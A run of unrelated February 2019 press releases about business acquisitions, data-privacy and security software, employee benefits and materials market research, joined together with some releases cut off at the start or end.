Hillgate is a talent marketplace that provides agile workforce solutions to multinational Fortune 500 companies, with a particular focus in Life Sciences and Industrial Goods. Hillgate serves these companies with its network of 6,000 independent consultants and executives with extensive industry experience at top firms. This deep, diverse talent pool hails from the UK, the United States and more than 60 other countries and encompasses over 45 languages.

Jody Greenstone Miller, Co-Founder and CEO of Business Talent Group said, "Combining BTG's proprietary technology platform, data, compliance capabilities and customer success process with Hillgate will accelerate BTG's growth in Europe and allow us to scale rapidly and better serve our clients around the world. Operating under Andrew Lecocq's skilled leadership, Hillgate has built a top online talent marketplace of the world's brightest business minds, and its track record serving clients in Europe will build on BTG's powerful international position to firmly establish our global leadership in this rapidly growing market."

The London team and operations will integrate seamlessly into BTG's operations, connecting Fortune 1000 companies - including more than 40% of the Fortune 100 - with vetted, independent management consultants, high-end executives and subject matter experts. Leveraging its proprietary, private and secure First Look project-bidding platform, Quick Start projectization tool and dedicated in-house client success team, BTG has quickly become a trusted partner for companies looking to tap on-demand talent to solve critical business challenges.

"The establishment of BTG Europe confirms the continued growth in demand for flexible, agile workforce solutions to help manage complex projects in a tight labor market and fast-changing economy, as validated by recent collaborations with talent solutions leaders," said Amelia Tyagi, Co-Founder and President of Business Talent Group. "With the addition of Hillgate's world-class team and experts, we'll be even better positioned to lead the growth of the market."

This acquisition builds on BTG's momentum following two recent announcements affirming BTG's leadership and model: a collaboration with executive recruiting leader Heidrick & Struggles to be the exclusive provider of on-demand independent talent for its global client base; and a minority equity investment by Kelly Services, a global workforce solutions provider.

BTG Europe Head of EMEA Andrew Lecocq commented, "We are incredibly excited to join the BTG team. Jody Miller and Amelia Tyagi pioneered the on-demand talent market, and, together with their team, have built a world-class company that is a leader in the space. The close alignment of the culture, mission and goals of our two companies makes this a great opportunity for us. Together, we will be a truly global player in this space, offering executives the agile workforce solutions they need to work smarter, faster and more flexibly on high-priority business initiatives."

About Business Talent Group

Business Talent Group (BTG) is the leading global marketplace meeting the growing demand for high-end, on-demand talent worldwide. Headquartered in Los Angeles with locations in six other US cities, London and Amsterdam, BTG connects leading companies with a global dynamic talent pool of independent management consultants, subject matter experts and executives to solve their biggest business challenges - on-site or remote, part-time or full-time, individuals or teams, anywhere in the world. More than 40% of the F100 trusts BTG to curate, vet and deliver legally compliant independent talent that fuel growth, agility, innovation and performance improvement in 34 countries and counting. For more information, visit businesstalentgroup.com and join the conversation on Twitter and LinkedIn.

Media Contact:

Business Talent Group

Nyssa Kourakos

nyssa@nkstrategies.comSmart Data Discovery and AI-driven data catalog solution robustly supports CCPA and other regulatory requirements like GDPR and HIPAA with enhanced PII and Sensitive Data Discovery capabilities

LAS VEGAS, Feb. 13, 2019 /PRNewswire/ -- Io-Tahoe, a pioneer in smart data discovery and AI-driven data catalog products, in its efforts to continue to transform the data discovery market, today announced it has released the latest version of its Smart Data Discovery platform with enhanced PII and Sensitive Data Discovery capabilities. Leveraging Io-Tahoe's advanced technology and machine learning algorithms, Io-Tahoe is now positioned to help companies solve the complex challenge of regulatory compliance with an automated, AI-driven approach to discover, understand and catalog PII (Personally Identifiable Information) and other sensitive data covered by the forthcoming California Consumer Privacy Act (CCPA), as well as other major privacy regulations worldwide.

Speaking at the TDWI Las Vegas Conference, Oksana Sokolovsky, Io-Tahoe's Chief Executive Officer said, "The potential penalties from violating CCPA could easily run into millions of dollars. Deploying Io-Tahoe as part of an overall regulatory compliance solution enables firms to move away from a reactive position and get a handle on what sensitive data they have, where it is located and why they have it. Without understanding this critical foundational component of the enterprise landscape, the required policies and controls to protect data cannot be put in place."

Sokolovsky added, "There is also a time-cost saving to be gained from deploying Io-Tahoe, our customers directly benefit from our platform's ability to process billions of customer records and millions of entities quickly and efficiently. For one of our customers, we identified 12-16 percent as sensitive for PII across one instance of 30 billion records and 1.7 million entities. They also saved time by processing many data sources in weeks, instead of manually discovering and cataloging data relationships for months. Given the increasingly strict regulatory environment, a manual approach is simply not an option. It is pleasing to know we are enabling our clients to become compliant at an unprecedented pace."

The Io-Tahoe platform allows organizations to quickly detect sensitive data in structured, semi-structured and some unstructured formats. Io-Tahoe also provides enterprise subject matter experts with the ability to add and modify company or industry specific policies within minutes for even more thorough detection of PII and sensitive data. Leveraging its machine learning algorithms and artificial intelligence to automate the data discovery process, Io-Tahoe supports companies with developing new insights into their PII footprint within weeks, without any burden on SMEs (Subject Matter Experts), so the organization can focus on remediation activities.

Io-Tahoe's latest version can track changes to the sensitive data landscape over time to understand how the PII and the sensitive data footprint is changing, enabling firms to continually keep track of their data on an ongoing basis. This capability further helps enterprises comply with CCPA and other laws, especially as they evolve, change and become even more stringent.

At the conference, Io-Tahoe (booth #404) will demonstrate how its smart data discovery and AI-driven data catalog, with enhanced PII and Sensitive Data Discovery, plays a critical role in a company's efforts to comply with CCPA, the European Union's General Data Protection Regulation (GDPR), and others. The product natively incorporates hundreds of policies enabling companies to automatically find PII and other sensitive data across a complex enterprise in a variety of data sources - relational data stores, data warehouses, data lakes and the cloud.

Sokolovsky noted that achieving compliance is more complex than many organizations initially realize. Although the CCPA was signed into law in 2018, and is due to take effect in January 2020, the law has a "look-back" requirement, therefore organizations must provide records covering the 12-month period preceding the date of a customer's request to access their personal information.

The CCPA follows the GDPR in requiring companies to disclose the kinds of information it collects about consumers, as well as the reason for doing so, and with whom the information is shared. More importantly, it grants consumers the right to demand the deletion of any personal information a company has collected about them, with significant penalties for companies that fail to comply.

While the law is technically restricted to California, it will easily have national implications, since many companies do business with customers in that state or have employees who live there; the New Jersey Law Journal writes, "before you assume that the CCPA will not affect you because your business is not located in California, know that companies both inside and outside of California will be affected by its requirements."1

More information is available at https://io-tahoe.com/ccpapreparedness/.

Tweet this: .@IoTahoe releases enhanced Smart Data Discovery solution, with PII and Sensitive Data Discovery capability, enabling compliance with the California Consumer Privacy Act (CCPA)

SmartDataDiscovery CCPA DataPrivacy ML AI

About Io-Tahoe

Io-Tahoe (www.io-tahoe.com) is a pioneer in smart data discovery and AI-driven data catalog products. In its efforts to continue to transform the data discovery market, the platform enables organizations to discover data across a wide range of heterogeneous technology platforms from traditional databases, data warehouses and data lakes to the cloud and other modern repositories, helping enterprises trace data elements across their systems in spite of outdated metadata definitions. The product utilizes machine learning algorithms to dramatically increase the accuracy, intelligence and speed of learning of complex data elements and data relationships throughout the entire business environment. Our platform has the capability to process 30 billion customer records, 1.7 million columns and saves time by processing many data sources in weeks, instead of manual discovery and cataloging for months.

Our product has been custom-built by a team with a deep understanding of data challenges, giving us first-hand insight and appreciation into our customers' diverse and complex data needs. Our product is particularly valuable to businesses with large numbers of customers and diverse data sets, such as those in the financial services, utilities, retail, transportation, insurance, healthcare and manufacturing industries.

Follow Io-Tahoe on Twitter at: https://twitter.com/iotahoe

Follow Io-Tahoe on LinkedIn at: https://www.linkedin.com/company/9194521/

1 https://www.law.com/njlawjournal/2018/12/01/the-california-consumer-privacy-act-what-you-need-to-know/'slreturn=20190101143740

Logo - https://mma.prnewswire.com/media/655317/Io_Tahoe_Logo.jpgThe platform's high level of interoperability and holistic coverage of the security ecosystem greatly enhance its value proposition among organizations of all sizes

SANTA CLARA, California, Feb. 13, 2019 /PRNewswire/ -- Based on its recent analysis of the global Converged Security Information Management (CSIM) system market, Frost & Sullivan recognizes Vidsys, Inc. with the 2019 Global Technology Leadership Award. Vidsys' comprehensive, intelligent, and open architecture CSIM software platform, RiskShield Enterprise, empowers security personnel to monitor an organization's ecosystem for both cyber and physical security events through a single, user-friendly interface. The system aids in informed decision making and helps operators proactively manage situations by offering them a comprehensive view of the enterprise's security posture.

Photo - https://mma.prnewswire.com/media/821072/Vidsys_Award.jpg

"RiskShield Enterprise addresses the five core features of data collection, analysis, verification, resolution, and tracking," said Danielle VanZandt, Industry Analyst at Frost & Sullivan. "Security personnel can customize the data that the platform presents through filters managed seamlessly through a user-friendly interface. Furthermore, users can filter the displayed information by time, location, duration, frequency, and type to obtain the information that is most pertinent to their operations."

RiskShield Enterprise connects an organization's vital security systems, such as IT security information and event management (SIEM), video surveillance and management systems, security analysis, investigative tools, and reporting platforms, allowing operators to base their decisions on a holistic view of the entire ecosystem. The software then alerts operators of potential security risks to their IT infrastructure, buildings, assets, or employees. RiskShield Enterprise operates as a top layer to the customer's existing systems; thus, Vidsys can tailor enhancements and implement those changes without causing any operational downtime.

As a vendor-agnostic system, the CSIM platform integrates seamlessly with over 350 third-party legacy and new technologies and is scalable for businesses of all sizes in any industry. Some of the solutions and systems with which the platform can be integrated include video management, identity and access management, building management, security sensors, weather forecasts, fire alarms, analytics, smartphones, intruder detection, computer-aided dispatch, and social media platforms. Moreover, RiskShield Enterprise can link multiple independent organizations' systems, such as public and private critical infrastructure, which rely on each other for vital information.

"In addition to bringing an organization's physical security systems together, RiskShield Enterprise integrates and directly communicates with cybersecurity platforms, significantly saving operational expenditures," noted VanZandt. "This exceptional technology and return on investment strongly positions the company for greater growth in the future."

Each year, Frost & Sullivan presents the Technology Leadership Award to the company that demonstrates uniqueness in developing and leveraging new technologies that deliver significant customer value.

Frost & Sullivan Best Practices Awards recognize companies in a variety of regional and global markets for demonstrating outstanding achievement and superior performance in areas such as leadership, technological innovation, customer service, and strategic product development. Industry analysts compare market participants and measure performance through in-depth interviews, analysis, and extensive secondary research to identify best practices in the industry.

About Vidsys, Inc.

Headquartered in Vienna, Virginia, USA, Vidsys provides transformational Physical Security Information Management (PSIM) and Converged Security and Information Management (CSIM) software platform that has been adopted by some of the world's leading brands and technology partners within key verticals, including Transportation, Energy, Utility, Healthcare, and Government. Vidsys software has obtained highest levels of information security and assurance from both top-tier global corporations and the US federal government.

Vidsys is hardware, protocol, and device agnostic, and offers bi-directional, browser-based platform with industry-specific features and functions that allows sensors, devices, systems, subsystems, and services to be interconnected via open architecture APIs and SDKs. The platform collects, correlates and converts vast amounts of data into meaningful and actionable information, based on the organization's risk policy, standards and compliance requirements. By leveraging mobile and web-based technology, the software can be rapidly deployed and provides real-time situational awareness and information management capabilities. For more info, please visit www.vidsys.com .

About Frost & Sullivan

Frost & Sullivan, the Growth Partnership Company, collaborates with clients to leverage visionary innovation that addresses the global challenges and related growth opportunities that will make or break today's market participants. For more than 50 years, Frost & Sullivan has been developing growth strategies for the global 1000, emerging businesses, the public sector, and the investment community. Contact us: Start the discussion .

Contact:

Bianca Torres

P: 1.210.477.8418

E: bianca.torres@frost.com

Vidsys Media Contact

Calin Gunn

+1-802-779-7040

calin@bluetext.com

Vidsys Corporate Contact

Jasmeet Kapoor

+1-703-940-5197

kapoorj@vidsys.comWerbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann.Slashes theft fraud across an operator's device portfolio by combining mobile device and app protection expertise with unique integration into the smartphone manufacturing ecosystem.

Mobile cyber security leader Trustonic today announces its new Asset Lifecycle Protection Service (ALPS) for mobile network operators. Mobile operators can now eliminate smartphone theft, fraud and trafficking, allowing them to safeguard their device investments, protect revenue and drive additional profit contribution.

Developed in collaboration with some of the largest operators in North America, this robust solution can be deployed rapidly and scaled across device ranges spanning multiple OEMs. Unlike other solutions that only solve part of the problem, ALPS establishes a Root of Trust, meaning fraudulently obtained devices cannot be unlocked or reused.

Smartphone crime is negatively impacting the industry

With device theft and fraud ranging from 5% to 25% of shipments and operators reporting a 200% YOY increase in armed robberies at retail stores1, employees, customers, brand reputation and profit are suffering. Ben Cade, CEO, Trustonic, comments: "A global crime wave of stolen, fraudulently obtained and sold-but-not-activated smartphones is costing operators billions of dollars in lost revenue annually, not to mention the loyalty of defrauded customers and the safety of employees. Trustonic is pleased to launch ALPS globally and make it available in all markets, after developing and proving the service with some of North America's largest operators."

Multiple use cases for protecting revenue throughout the device lifecycle

ALPS helps operators to solve a range of challenges by enabling secure remote device lock and unlock. Existing manual unlock codes are easy to overcome, expensive to administer and offer a poor experience to subscribers. The platform automates the process through an easy-to-use app installed during manufacture, providing a positive user experience and reducing CARE costs, while enabling protection for use cases such as:

Customer device unlock . When the customer completes their contract and requests to unlock their device.

. When the customer completes their contract and requests to unlock their device. Supply chain security. Protecting devices by locking them at the moment they are produced safeguards every stage of the device lifecycle, and every participant involved, by making devices worthless if stolen or fraudulently obtained.

Protecting devices by locking them at the moment they are produced safeguards every stage of the device lifecycle, and every participant involved, by making devices worthless if stolen or fraudulently obtained. Protecting subsidized, financed and leased devices. Preventing the use and resale of devices if installment payments are not made. Once a subsidized plan is paid in full the subscriber can request unlock, or when a lease agreement ends devices can be locked if not returned.

Preventing the use and resale of devices if installment payments are not made. Once a subsidized plan is paid in full the subscriber can request unlock, or when a lease agreement ends devices can be locked if not returned. Companion device protection. Protect companion devices like tablets, wearables and multi-device family bundles that are often used as incentives. If the subscriber stops paying the plan, the main device and all companion devices can be simultaneously locked.

Protect companion devices like tablets, wearables and multi-device family bundles that are often used as incentives. If the subscriber stops paying the plan, the main device and all companion devices can be simultaneously locked. Warranty and insurance fraud prevention. Enabling devices to be locked once a claim has been made by the customer, removing the incentive to fraudulently sell the device.

Enabling devices to be locked once a claim has been made by the customer, removing the incentive to fraudulently sell the device. Device recall. For consumer safety, devices are sometimes recalled. The ability to lock devices prevents continued use or re-sale after the recall has been issued.

"Our unique relationships with device makers and the impartial, trusted role we play in the ecosystem means Trustonic can rapidly deliver a single solution to operators that protects revenue across their device portfolio," adds Cade. "We are empowering operators to take control in their fight against fraud, theft and device trafficking. This not only solves a billion-dollar problem for the industry, it also adds a significant contribution to their bottom line performance."

The Trustonic Asset Lifecycle Protection Service (ALPS) is now available globally. For more information, please visit the website.

**ENDS**

About Trustonic

Trustonic's mission is to embed the best security into the world's smart devices and apps, empowering mobile and IoT developers to build the trust required to deliver simple, fast and secure solutions. The Trustonic hardware-backed security platform is embedded in more than 1.7 billion devices including those from Samsung, vivo, OPPO, Xiaomi, Motorola and LG. Trustonic's mobile app protection solutions secure critical apps for banks, FinTechs, payment providers, cryptocurrency platforms, automotive manufacturers, mobile network operators and government bodies including Samsung Pay, Alipay, WeChat Pay and Volkswagen. Trustonic is a venture formed in 2012 by Arm and Gemalto.

Visit the Trustonic website.

1 http://fortune.com/2018/02/13/verizon-smartphone-theft-locking/

View source version on businesswire.com: https://www.businesswire.com/news/home/20190213005362/en/

Contacts:

Rob Peryer

rob@iseepr.co.uk

+44 (0)113 350 1922Benefits Build on Progressive Pregnancy Care Policy Launched Earlier This Year

GREENWICH, Conn. - February 13, 2019 - XPO Logistics, Inc. (NYSE: XPO), a leading global provider of transportation and logistics solutions, today announced free, comprehensive supplemental care for new parents and expectant mothers, expanding XPO's commitment to providing high-quality care for women and working families. Through a partnership with Maven Clinic, a virtual network of expert healthcare practitioners, new parents and expectant mothers gain additional support services that complement their regular medical care.

XPO is setting the standard in its industry by offering this comprehensive supplemental health care coverage for employees. The announcement follows the company's introduction of a new, comprehensive pregnancy care accommodation policy and family leave policy earlier this year.

Through a mobile app, the new program offers XPO's US employees and their families the convenience of on-demand access - anytime, anywhere - to a custom network of more than 1,400 highly-vetted health practitioners across 20 specialties, including fertility, lactation, infant sleep, nutrition, mental health and more. Participants can consult with practitioners over the phone, through video chats or via private messaging. They can also sign up with a personal care coordinator who advocates for them throughout their experience, coordinating support during their pregnancy, postpartum and return to work.

Josephine Berisha, senior vice president, compensation and benefits of XPO Logistics, said, "This virtual clinic gives our employees 24/7, on-demand access to an array of the services that women and their families seek most during and after pregnancy. These services complement our existing suite of US medical plans and are free to all employees. Expert digital healthcare is an important additional convenience for new parents, especially working mothers who are balancing the demands of home and work."

Employees enrolled in an XPO medical plan can access these services at any time during a pregnancy and up to six months postpartum at no cost. These services extend to expectant parents during the surrogacy or adoption process and to women who experience a loss of pregnancy. Additionally, employees interested in fertility treatments or egg freezing can receive discounts on services and up to six months of support from specialists for certain services.

About XPO Logistics

XPO Logistics, Inc. (NYSE: XPO) is a top ten global logistics provider of cutting-edge supply chain solutions to the most successful companies in the world. The company operates as a highly integrated network of people, technology and physical assets in 32 countries, with 1,529 locations and more than 98,000 employees. XPO uses its network to help more than 50,000 customers manage their goods most efficiently throughout their supply chains. XPO's corporate headquarters is in Greenwich, Conn., USA, and its European headquarters is in Lyon, France. xpo.com (http://www.xpo.com/)

About Maven

Maven is a leading women's and family healthcare company. Named one of Fast Company's "10 Most Innovative Healthcare Companies in 2018," Maven promotes women's health, family planning, and diversity in the workforce by making it easier for parents to plan a family while growing their careers. Maven was founded in 2014 and offers holistic healthcare through a virtual clinic including personal care coordinators, on-demand access to a custom network of women's and family health providers in over 20 specialties, a supportive community and expert content. Maven has raised more than $40 million in capital from top investors including Sequoia Capital and Oak HC/FT.

Media Contact

XPO Logistics, Inc.

Erin Kurtz

+1 203-489-1586

erin.kurtz@xpo.com (http://erin.kurtz@xpo.com)





This announcement is distributed by West Corporation on behalf of West Corporation clients.

The issuer of this announcement warrants that they are solely responsible for the content, accuracy and originality of the information contained therein.

Source: XPO Logistics, Inc. via Globenewswire

DETROIT, Feb. 13, 2019 /PRNewswire/ -- Stratview Research announces the launch of a new research report on Core Material Kitting Market by End-Use Industry Type (Wind Energy, Aerospace & Defense, Marine, Transportation, Construction, and Others), by Core Material Type (Honeycomb Core, Foam Core, and Balsa), by Honeycomb Type (Nomex Honeycomb, Aluminum Honeycomb, and Others), by Foam Type (PVC Foam, PET Foam, and Others), by Process Type (Machining and Manual), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024.

This market report, from Stratview Research, studies the core material kitting market over the trend period of 2013 to 2018 and forecast period of 2019 to 2024. The report provides detailed insights on the market dynamics to enable informed business decision making and growth strategy formulation based on the opportunities present in the market.

Core Material Kitting Market: Research Highlights

Composites have an excellent track record in the aerospace, wind, marine, and transportation industries as the material offers numerous benefits over its rivals including high strength-to-weight ratio, excellent corrosion resistance, excellent fatigue strength, and excellent durability at a lesser weight. Composite structures can be fabricated through a wide array of processes/technologies. One of the most widely used processes for part fabrication is sandwich construction. In sandwich construction, a structure is made of three layers: low-density core inserted in between two relatively thin skin layers or laminates. It is used in applications which require extremely high mechanical properties coupled with low weight.

Core material kitting is a process of cutting the core material into desired shapes of components, flattening surfaces, digitizing data, developing the kit, managing the material supply, and organizing the kit, with an aim to save time and money, resulting into more productivity and profitability. Core material kitting offers faster and easier dry layup in molds, with an ease in assembly, exact fit, and minimum wastage. It eliminates on-site shaping and cutting, reducing build times, save labor and material cost, with consistently high quality in less time.

As per Stratview Research, the global core material kitting market would reach an estimated value of US$ 550.1 million in 2024. Core material kitting is an essential part of composite sandwich construction. It can be performed by part fabricators in-house as well as outsourced to independent kitting solution providers or core material suppliers that are also offering kitting services. Key factors bolstering the demand for core material kitting are organic growth of major composite-driven markets coupled with increased penetration of composite materials, increasing demand for lightweight core materials, and excellent benefits of core materials kitting.

Click Here to Browse the Detailed TOC of the Report

Based on the end-use industry, wind energy is expected to remain the largest market for core material kitting during the forecast period. Rising demand for alternative sources of energy has led to an increased focus of various governments and non-government institutions towards the wind energy sector. Increasing wind turbine installation coupled with longer rotor blades has resulted in a greater penetration of sandwich panels constructed with foam and balsa core materials. This factor is acting as the prime driver for the core material kitting market in wind energy.

Foam core is expected to remain the largest segment of the market during the forecast period. Foam core is widely used in wind energy and marine composite parts, owing to its low specific weight and high mechanical rigidity and stiffness. However, honeycomb core is expected to witness the highest growth in the same period, driven by its extensive usage in the growing aerospace & defense industry.

Register Here for a Free Sample of the 240-Page Exclusive Report

In terms of region, North America is expected to remain the largest market for core material kitting during the forecast period. Some of the major markets including marine, aerospace & defense, and construction are dominated by the region. Asia-Pacific is expected to experience the highest growth in the market during the same period, mainly attributable to the consequential growth in wind turbine installation coupled with regional expansion of major core material suppliers in the region, growing penetration of composites in the transportation industry, opening of assembly plants of Boeing and Airbus for B737, A320, and A330 aircraft programs, upcoming indigenous aircraft program such as C919 and CR929, and expanding construction sector.

Some of the key players in the core material kitting market are JSB Group A/S (now part of Gurit Holding), Hexcel Corporation, DIAB Group, Gurit Holding AG, 3A Composites GmbH, and Argosy International Inc. Development of highly optimized core material kit, higher involvement of core material manufacturers in kitting services, and execution of mergers & acquisitions are the key strategies adopted by the major players to gain a competitive edge in the market.

Report Features

This report provides market intelligence in the most comprehensive way. The report structure has been kept such that it offers maximum business value. It provides critical insights on the market dynamics and will enable strategic decision making for the existing market players as well as those willing to enter the market. The following are the key features of the report:

Market structure: Overview, industry life cycle analysis, supply chain analysis.

Market environment analysis: Growth drivers and constraints, Porter's five forces analysis, SWOT analysis.

Market trend and forecast analysis.

Market segment trend and forecast.

Competitive landscape and dynamics: Market share, product portfolio, product launches, etc.

Attractive market segments and associated growth opportunities.

Emerging trends.

Strategic growth opportunities for the existing and new players.

Key success factors.

This report studies the core material kitting market and has segmented the market in four ways, keeping in mind the interest of all the stakeholders across the value chain. Following are the four ways in which the market is segmented:

Core Material Kitting Market, By End-User Type

Wind Energy (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Aerospace & Defense (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Marine (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Transportation (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Construction (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Others (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Core Material Kitting Market, By Core Material Type

Foam Core Materials

Regional Analysis ( North America , Europe , Asia-Pacific , and RoW)



Type Analysis (PVC Foam, PET Foam, and Others)

Honeycomb Core Materials

Regional Analysis ( North America , Europe , Asia-Pacific , and RoW)



Type Analysis (Nomex Honeycomb, Aluminum Honeycomb, and Others)

Balsa (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Core Material Kitting Market, By Process Type

Machining (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Manual (Regional Analysis: North America , Europe , Asia-Pacific , and RoW)

Core Material Kitting Market, By Region

North America (Country Analysis: The USA , Canada , and Mexico )

Europe (Country Analysis: Germany , France , the UK, Russia , and Rest of Europe )

Asia-Pacific (Country Analysis: China , Japan , India , and Rest of Asia-Pacific )

Rest of the World (Sub-Region Analysis: Latin America , the Middle East , and Others)

Stratview Research has several high value market reports in the composites and advanced materials industry. Please refer to the following link to browse through our reports:

Click Here for Other Reports from Stratview Research in the Advanced Materials Industry

Related premium market reports in the sandwich panel segment are:

Composite Floor Panels Market by End-Use Industry Type (Aircraft, Rail, and Bus), by Core Material Type (Honeycomb Core, Foam Core, and Balsa Core), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024.

Aircraft Interior Sandwich Panel Market by Aircraft Type (Narrow-Body Aircraft, Wide-Body Aircraft, Very Large Aircraft, Regional Aircraft, and General Aviation), by Application Type (Floor Panel, Sidewall Panel, Ceiling Panel, Stowage Bin, Galley, Lavatory, and Others), by Core Material Type (Nomex Honeycomb, Aluminum Honeycomb, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2018-2023.

Aircraft Floor Panel Market by Aircraft Type (Narrow-Body Aircraft, Wide-Body Aircraft, Very Large Aircraft, Regional Aircraft, and General Aviation), by Core Material Type (Nomex Honeycomb, Aluminium Honeycomb, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2018-2023.

About Stratview Research

Stratview Research is a global market intelligence firm providing wide range of services including syndicated market reports, custom research and sourcing intelligence across industries, such as Advanced Materials, Aerospace & Defense, Automotive & Mass Transportation, Consumer Goods, Construction & Equipment, Electronics and Semiconductors, Energy & Utility, Healthcare & Life Sciences, and Oil & Gas.

We have a strong team of industry veterans and analysts with an extensive experience in executing custom research projects for mid-sized to Fortune 500 companies, in the areas of Market Assessment, Opportunity Screening, Competitive Intelligence, Due Diligence, Target Screening, Market Entry Strategy, Go to Market Strategy, and Voice of Customer studies.

Stratview Research is a trusted brand globally, providing high quality research and strategic insights that help companies worldwide in effective decision making.

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Direct: +1-313-307-4176CHICAGO, Feb. 13, 2019 /PRNewswire/ -- According to the new research report "Gelcoat Market by Resin Type (Polyester, Vinyl Ester, Epoxy), End Use Industry (Marine, Transportation, Construction, Wind Energy), Region (North America, Asia Pacific, Europe, Middle East & Africa and Latin America)-Global Forecast to 2024", published by MarketsandMarkets, The Gelcoat Market is expected to grow from USD 1.2 billion in 2019 to USD 1.7 billion by 2024, at a CAGR of 8.0% during the forecast period. The Gelcoat Market is witnessing a significant growth because of the growing demand from various industries such as marine, transportation, and wind energy. Gelcoat provides various properties such as high gloss, UV resistance, hydrolysis or osmosis, and resistance to corrosion, water, abrasion, and chemicals to the composite molds or parts.

Download PDF Brochure:

https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=164224381

Browse in-depth TOC on "Gelcoat Market"

92 - Tables

43 - Figures

130 - Pages

View detailed Table of Content here:

https://www.marketsandmarkets.com/Market-Reports/gelcoat-market-164224381.html

The marine end use segment accounted for the largest share of the Gelcoat Market in 2019.

Marine is an important end-use industry of glass fiber reinforced plastics as entire decks and complete ship hulls for powerboats or sailing/motor yachts are entirely made up of high-quality glass fiber reinforced plastics. The use of FRP in this industry results in the usage of gelcoat that provides excellent aesthetic appearance, good corrosion resistance, and smooth and vivid surface. Companies have also realized the immense potential of gelcoat that is used in the marine industry. For instance, in November 2018, Ashland Inc. launched a new gelcoat named Maxgaurd EZM for usage in marine applications. The gelcoat offers easy application in molds and good weathering performance. It possesses high resistance to UV rays and good blister resistance.

Polyester is the largest resin used for gelcoat manufacturing in 2019.

Polyester resin is widely used for gelcoat. In terms of value and volume, the polyester resin-based Gelcoat Market accounted for a major share of the overall market in 2019. Polyester resins are less expensive and possess properties such as good corrosion resistance, fast curing, durability, tolerance to temperature, and low thermal expansion. Polyester resin used in gelcoats offers durability for molds and parts.

APAC is expected to be the largest market for gelcoat during the forecast period.

APAC is the largest Gelcoat Market, in terms of both value and volume. China, India, and Japan are the fast-growing economies that contribute to the growth of the market in the region. The booming wind energy industry and the transportation industry are bolstering the market for gelcoat in the region.

The major players in the Gelcoat Market include Ineos Enterprise (UK), Bufa Composite Systems GmbH (Germany), HK Research Corporation (US), Allnex (Germany), Scott Bader Company (UK), Poliya Composites Resins and Polymers (Turkey), Interplastic Corporation (US), Alpha Owens Corning (AOC) Aliancys (US), Polynt-Reichhold Group (US), and Turkuaz Polyester (Turkey).

Get 10% Free Customization on this Report:

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Browse Adjacent Markets: Coatings Adhesives Sealants and Elastomers Market Research Reports & Consulting

Related Reports:

Composites Market by Fiber Type (Glass, Carbon), Resin Type (Thermoset, Thermoplastic), Manufacturing Process (Layup, Filament Winding, Pultrusion), Application (Transportation, Aerospace & Defense, Wind Energy), Region - Global Forecast to 2022

Composite Resin Market by Resin Type (Thermoset and Thermoplastic), by Manufacturing Process (Layup, Injection Molding, Filament Winding, Pultrusion, Compression Molding, RTM, and Others), by Application & by Region - Global Forecasts to 2020

Epoxy Coatings Market by Technology (Solvent borne, Waterborne, and Powder-Based) and Application (Construction, Transportation, General Industrial, and Others) - Forecast to 2021

About MarketsandMarkets

MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions.

Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve.

MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets.

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Visit Our Website: https://www.marketsandmarkets.comRules as a Service future-proofs financial institutions against evolving regulatory requirements in a digital era

LONDON, Feb. 13. 2019 /PRNewswire/ -- Fenergo, the leading provider of digital Client Lifecycle Management (CLM) software solutions for financial institutions, today announces Rules as a Service (RaaS), a cloud-based regulatory rules offering. The unique plug and play solution will enable financial institutions to easily integrate Fenergo's award winning regulatory rules capabilities into their existing digital platforms.

Fenergo's Rules as a Service is available as an on-demand repository of local and global rules for financial institutions seeking a digital solution for their Know your Customer (KYC), Anti Money Laundering (AML) and regulatory requirements across all jurisdictions. This solution, also available on-premise, allows financial firms to focus on improving digital client experiences with the confidence that their regulatory and compliance obligations are adhered to. [i]A recent study by Fenergo showed that the improvement of data and document capture for customer experience is the number one critical issue banks are trying to address. Complying with KYC regulations ranks as the second most critical issue.

Subscribers benefit from Fenergo's partnerships with best-in-class data integrators and client relationship management (CRM) providers such as Salesforce, while gaining access to its team of regulatory experts, Regulatory Community and monthly forum.

